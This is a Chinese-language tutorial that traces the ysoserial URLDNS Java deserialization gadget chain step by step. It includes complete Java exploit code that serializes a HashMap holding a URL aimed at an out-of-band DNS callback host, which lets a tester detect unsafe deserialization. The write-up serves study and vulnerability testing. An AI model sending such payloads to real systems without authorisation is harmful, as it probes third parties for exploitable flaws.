概述

HashMap实现了Serializable接口,可对HashMap对象进行反序列化操作

URLDNS是ysoserial中利用链的一个名字,因为URLDNS gadget触发结果是一次DNS请求,在目标没有回显的时候,能通过DNS请求得知是否存在反序列漏洞,所有通常用于检查是否存在Java反序列化。

该利用链特点:

  • 不限制jdk版本,使用的Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

该利用链原理就是HashMap类重写了readObject方法,readObject方法会读取一个序列化文件流,在readObject方法中的putVal方法会调用hash方法,hash方法下会调用URL类的hashCode方法,当hashCode属性不等于-1,会调用handler.hashCode方法

1
HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

利用链分析

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
URL url= new URL("http://jrez39tc8ig53y7prbebzx9s1j7av1jq.oastify.com");
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();

hashmap.put(url,22);
Serialize(hashmap);
Unserialize();
}

public static void Serialize(Object obj) throws Exception {

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("E:\\学习\\web\\java学习\\test.ser"));
out.writeObject(obj);
// 刷新
out.flush();
out.close();
}

public static void Unserialize() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("E:\\学习\\web\\java学习\\test.ser"));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
}

在readObject处下个断点,当执行到Unserialize();就会执行我们的hashmap的readObject():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

......

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

而在函数最后会执行putVal,里面执行hash(key),这里的key就是我们传入的URL:

image-20250528152638217

继续跟进:

image-20250528152431944

在hashmap.hash()中会判断key是否为空,不是就执行URL.hashCode()方法:

image-20250528153947116

这里判断hashCode的值是否为-1,是的话执行handler.hashCode(this)方法,而hashCode默认值为-1:

image-20250528154227921

但这里需要注意,由于HashMap对象需要的参数是一个键值对,所以我们通过hashmap.put(url,22);将URL与22建立映射,后续可以通过 url 快速查找并获取其关联的值 22(例如 hashmap.get(url) 返回 22):

image-20250528184241208

而细看put的源码可以发现该方法会与readObject()执行一样的函数,所以当执行了put(url,22)我们的hashCode值就已经变了,所以我们修正下exp将hashCode值改回去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
URL url= new URL("http://jrez39tc8ig53y7prbebzx9s1j7av1jq.oastify.com");
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
Class c = url.getClass(); //获取URL类
Field hashcode= c.getDeclaredField("hashCode");
hashcode.setAccessible(true); //hashCode属性是私有的

hashmap.put(url,22);
hashcode.set(url,-1); //在put方法后,重新将url对象的hashCode赋值-1
Serialize(hashmap);
Unserialize();
}

public static void Serialize(Object obj) throws Exception {

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("E:\\学习\\web\\java学习\\test.ser"));
out.writeObject(obj);
// 刷新
out.flush();
out.close();
}

public static void Unserialize() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("E:\\学习\\web\\java学习\\test.ser"));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
}

修改后继续刚才的步骤,handler为URLStreamHandler对象,所以将会执行URLStreamHandler.hashCode(this)方法:

image-20250528153243689

第一个获取URL协议,第二个获取主机,跟进URLStreamHandIer.getHostAddress(u):

image-20250528153416474

调用了URL.getHostAddress():
image-20250528153532099

其中InetAddress.getByName(host)的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

而测试后会发现DNSLOG有两条记录,即一条为hashmap.put()的,一条为readObject()的

image-20250528203517906

完整利用链:

1
2
3
4
5
6
7
Hashmap.readObject()->
Hashmap.hash()->
java.net.URL.hashCode()->
java.net.URLStreamHandler.hashCode()->
java.net.URLStreamHandler.getHostAddress()->
java.net.URL.getHostAddress()->
InetAddress.getByName();

而对比官方的ysoserial中的URLDNS.java的exp:

1
2
3
4
5
6
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;

在ysoserial中添加了一个URLStreamHandler的handler,根据注解可以得知它的作用是为了避免在执行payload时候执行DNS解析

1
2
3
4
5
//Avoid DNS resolution during payload creation
//在创建payload期间避免DNS解析

//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
//因为字段java.net.URL.handler是transient(瞬态的),所以它不会成为序列化payload的一部分。

SilentURLStreamHandler:

1
2
3
4
5
6
7
8
9
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

跟进SilentURLStreamHandler方法可以看到是一个自定义的静态类,继承URLStreamHandler。里面重写了getHostAddress(URL u)方法。使其在执行put方法时不会引起DNS解析,因为子类重写方法会覆盖父类方法,所以最后调用getHostAddress方法时只会返回null

而由于字段java.net.URL.handler是transient(瞬态的),所以它不会成为序列化payload的一部分。即序列化时SilentURLStreamHandler方法不会被序列化,所以当反序列化时JVM会重新初始化handler,即原始URLStreamHandler类中的getHostAddress方法触发DNS解析

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class Main{
public static void main(String[] args) throws Exception {
URLStreamHandler handler=new silentURLStreamHandler();
URL url=new URL(null,"http://jrez39tc8ig53y7prbebzx9s1j7av1jq.oastify.com",handler);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(url,22);

Class c=url.getClass(); //获取URL类
Field hashcode=c.getDeclaredField("hashCode"); //利用反射获取hashCode属性
hashcode.setAccessible(true); //hashCode属性是私有的
hashcode.set(url,-1); //put方法后,重新将hashCode设置回-1

serialize(hashmap);
unserialize();
}

public static void serialize(Object obj) throws Exception {
FileOutputStream out=new FileOutputStream("E:\\学习\\web\\java学习\\test.ser");
ObjectOutputStream output=new ObjectOutputStream(out);
output.writeObject(obj);
// 刷新
output.flush();
output.close();
}

public static void unserialize()throws Exception{
FileInputStream in=new FileInputStream("E:\\学习\\web\\java学习\\test.ser");
ObjectInputStream input=new ObjectInputStream(in);
Object obj=input.readObject();
input.close();
}

static class silentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}

@Override
protected InetAddress getHostAddress(URL u) {
return null;
}
}
}

参考

https://xz.aliyun.com/news/8916

https://xz.aliyun.com/t/6787

https://www.cnblogs.com/N0r4h/p/15840776.html

https://nivi4.notion.site/Java-URLDNS-e9820d5abc6e402abcaf69ef876f74c0

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java